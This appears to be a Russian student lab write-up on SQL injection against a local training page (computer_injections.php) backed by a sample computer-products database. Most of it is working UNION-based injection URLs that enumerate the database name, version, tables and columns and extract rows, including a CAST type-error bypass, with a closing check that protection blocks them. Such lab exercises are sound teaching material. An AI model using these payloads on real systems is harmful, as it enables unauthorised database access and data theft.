---

Разведка структуры БД:
Определение имени базы данных:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,DB_NAME(),%27%27,%27%27,%27%27,%27%27,%27%27--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Определение версии СУБД:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,@@version,%27%27,%27%27,%27%27,%27%27,%27%27--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Получение списка таблиц:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,TABLE_NAME,%27%27,%27%27,%27%27,%27%27,%27%27%20FROM%20INFORMATION_SCHEMA.TABLES--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Получение списка столбцов таблицы PC:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,COLUMN_NAME,%27%27,%27%27,%27%27,%27%27,%27%27%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=%27PC%27--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Получение списка столбцов таблицы Laptop:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,COLUMN_NAME,%27%27,%27%27,%27%27,%27%27,%27%27%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=%27Laptop%27--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Получение списка столбцов таблицы Printer:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,COLUMN_NAME,%27%27,%27%27,%27%27,%27%27,%27%27%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=%27Printer%27--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Получение списка столбцов таблицы Product:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,COLUMN_NAME,%27%27,%27%27,%27%27,%27%27,%27%27%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=%27Product%27--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Практическая часть (Задания по варианту 3):
Список ПК фирм A и B:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,PC.model,PC.speed,PC.ram,PC.hd,PC.cd,PC.price%20FROM%20PC%20JOIN%20Product%20ON%20PC.model=Product.model%20WHERE%20Product.maker%20IN%20(%27A%27,%27B%27)--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
ПК с RAM>64 и ценой>700:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,model,speed,ram,hd,cd,price%20FROM%20PC%20WHERE%20ram%3E64%20AND%20price%3E700--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Ноутбуки с RAM>64 и ценой>700:
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,model,0,ram,hd,0,price%20FROM%20Laptop%20WHERE%20ram%3E64%20AND%20price%3E700--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Список всех принтеров (с обходом ошибки типов через CAST):
http://localhost/Computer/computer_injections.php?art=-1%20UNION%20SELECT%20CAST(code%20AS%20varchar),model,%27%27,%27%27,CAST(price%20AS%20varchar),0,0%20FROM%20Printer%20WHERE%20code%3E0--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5
Проверка защиты:
Повторная попытка инъекции имени БД (после внедрения защиты должна перестать работать):
http://localhost/Computer/computer_injections.php?art=10000%20UNION%20SELECT%200,DB_NAME(),%27%27,%27%27,%27%27,%27%27,%27%27--&submit=%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%8C+%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5